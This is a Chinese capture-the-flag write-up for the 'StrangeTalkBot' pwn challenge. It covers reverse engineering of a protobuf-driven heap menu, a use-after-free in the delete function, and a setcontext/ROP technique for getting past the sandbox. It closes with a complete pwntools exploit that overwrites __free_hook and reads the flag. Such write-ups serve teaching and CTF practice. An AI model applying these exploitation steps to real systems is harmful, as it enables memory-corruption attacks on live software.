StrangeTalkBot

b4nd1t

ciscn_StrangeTalkBot

保护检查

1685854368522

源码分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // [rsp+0h] [rbp-10h]
__int64 v4; // [rsp+8h] [rbp-8h]

sub_1763();
while ( 1 )
{
memset(byte_A060, 0, sizeof(byte_A060));
puts("You can try to have friendly communication with me now: ");
v3 = read(0, byte_A060, 0x400uLL);
v4 = sub_192D(0LL, v3, (__int64)byte_A060);
if ( !v4 )
break;
sub_155D(
*(_QWORD *)(v4 + 24),
*(_QWORD *)(v4 + 32),
*(_QWORD *)(v4 + 40),
*(_QWORD *)(v4 + 48),
*(const void **)(v4 + 56));
}
sub_1329();
}

首先需要进行输入,然后在v4 = sub_192D(0LL, v3, (__int64)byte_A060);进行处理,v4不等于0才能进入后来的操作,这个sub_192D(0LL, v3, (__int64)byte_A060)里面很长,一点也看不懂,看到网上的师傅说这是protobuf。

sub_155D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
char *__fastcall sub_155D(__int64 choice, unsigned __int64 index, __int64 size_1, __int64 len, const void *content)
{
size_t v6; // [rsp+18h] [rbp-18h]

v6 = size_1;
if ( index >= 0x21 )
sub_1329();
if ( (unsigned __int64)len >= 0xF1 )
sub_1329();
if ( (unsigned __int64)size_1 >= 0xF1 )
sub_1329();
if ( size_1 < len )
v6 = len;
if ( choice == 4 )
return delete(index);
if ( choice > 4 )
goto LABEL_19;
if ( choice == 3 )
return (char *)show(index);
if ( choice == 1 )
return (char *)add(index, v6, len, content);
if ( choice != 2 )
LABEL_19:
sub_1329();
return (char *)edit(index, len, content);
}

到这应该就是正常的堆题了,前几个增改查都是挺正常

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
char *__fastcall delete(__int64 a1)
{
char *result; // rax

result = (char *)*((_QWORD *)&unk_A460 + a1);
if ( result )
{
free(*((void **)&unk_A460 + a1));
result = &byte_A060[a1];
byte_A060[a1] = 0;
}
return result;
}

在delete函数中没有把指针置零,代码中置零的地方好像无关紧要,有uaf漏洞

思路

程序开了沙箱,我们就需要进行orw操作,但是rop链只能在栈上才可以利用,目前只能在对上构造rop链,这时就需要用到setcontext函数1685855884721

在函数中会对一些寄存器进行赋值操作

1685856028701

最开始了解到的是基于rdi进行赋值,这个还没注意,发现已经变成了基于rdx赋值,还有变化就是以前是push rcxret操作,现在把rcx变成了r10,但是偏移还是没变的。

1685856564295

所以利用hook的时候不能直接跳到这,应该先想办法给rdx进行赋值,看到其他师傅用的这个

1685856240124

我们可以在堆上先布置好信息,这样就可以先给rdx赋值,然后再利用后面的call操作跳到setcontext的代码处,然后进行正常操作

初识protobuf

安装

sudo apt-get install protobuf-compiler

创建proto文件

在ida中有协议词

1685855216244

创建一个 devicmesg.proto文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
syntax = 'proto3';
package pack.base;



message devicmesg {

sint32 actionid = 1;

sint32 msgidx = 2;

sint32 msgsize = 3;

bytes msgcontent = 4;

}

创建一个文件夹output

然后进行编译protoc --python_out=./output ./devicmesg.proto,就会在output目录下生成一个py文件

1685855400657

这样就可以在python脚本中使用protobuf了

此时我的目录中1685855502020

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
from ctypes import *
import sys
sys.path.append('./output') //将当前目录下的 "output" 文件夹添加到 Python 解释器的模块搜索路径中
import devicmesg_pb2
context(os='linux',arch='amd64',log_level='debug')
p = process("./pwn")
libc = ELF("./libc-2.31.so")
def debug():
gdb.attach(p)
def add(index,size,content):
msg = devicmesg_pb2.devicmesg()
msg.actionid = 1
msg.msgidx = index
msg.msgsize = size
msg.msgcontent = content
payload = msg.SerializeToString()
p.recv()
p.send(payload)
def edit(index,size,content):
msg = devicmesg_pb2.devicmesg()
msg.actionid = 2
msg.msgidx = index
msg.msgsize = size
msg.msgcontent = content
payload = msg.SerializeToString()
p.recv()
p.send(payload)
def show(index):
msg = devicmesg_pb2.devicmesg()
msg.actionid = 3
msg.msgidx = index
msg.msgsize = 1
msg.msgcontent = "aa"
payload = msg.SerializeToString()
p.recv()
p.send(payload)
def delete(index):
msg = devicmesg_pb2.devicmesg()
msg.actionid = 4
msg.msgidx = index
msg.msgsize = 1
msg.msgcontent = "aa"
payload = msg.SerializeToString()
p.recv()
p.send(payload)

for i in range(1,10):
add(i,0xf0,"aa")
for i in range(1,9):
delete(i)
show(8)
p.recv(0x38)
heap_base = u64(p.recv(8)) - 0xd70
p.recv(0x18)
libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00')) - 0x1ECBE0
print(hex(heap_base))
print(hex(libcbase))
free_hook = libcbase + libc.sym['__free_hook']
setcontext = libcbase + 0x54F5D
pop_rdi_ret = libcbase + 0x0000000000023b6a
pop_rsi_ret = libcbase + 0x000000000002601f
pop_rdx_ret = libcbase + 0x0000000000142c92
open_addr = libcbase + libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr = libcbase + libc.sym['write']
mov_rdx_rdi_ = libcbase + 0x151990
add(10,0x20,"aa")
add(11,0x20,"aa")
delete(11)
delete(10)
payload = p64(free_hook - 8)
edit(10,0x20,payload)
add(12,0x20,"aa")
payload = '\x00'*8 + p64(mov_rdx_rdi_)
add(13,0x20,payload)
ret = libcbase + 0x0000000000022679
orw = heap_base + 0x310
flag = orw + 8*17
buf = heap_base + 0x3000
payload = (p64(heap_base + 0x1700)*2 + p64(setcontext)*4).ljust(0xa0, '\x00') + p64(orw) + p64(ret)
add(14,0xc0,payload)

rop = p64(pop_rdi_ret) + p64(flag) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr)
rop += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(buf) + p64(pop_rdx_ret) + p64(0x20) + p64(read_addr)
rop += p64(pop_rdi_ret) + p64(1) + p64(write_addr)
rop += "flag\x00\x00\x00"
edit(1,0xf0,rop)
#debug()

delete(14)

#debug()

p.interactive()

1685856667387

参考

http://t.csdn.cn/4clfJ

http://t.csdn.cn/wr3YH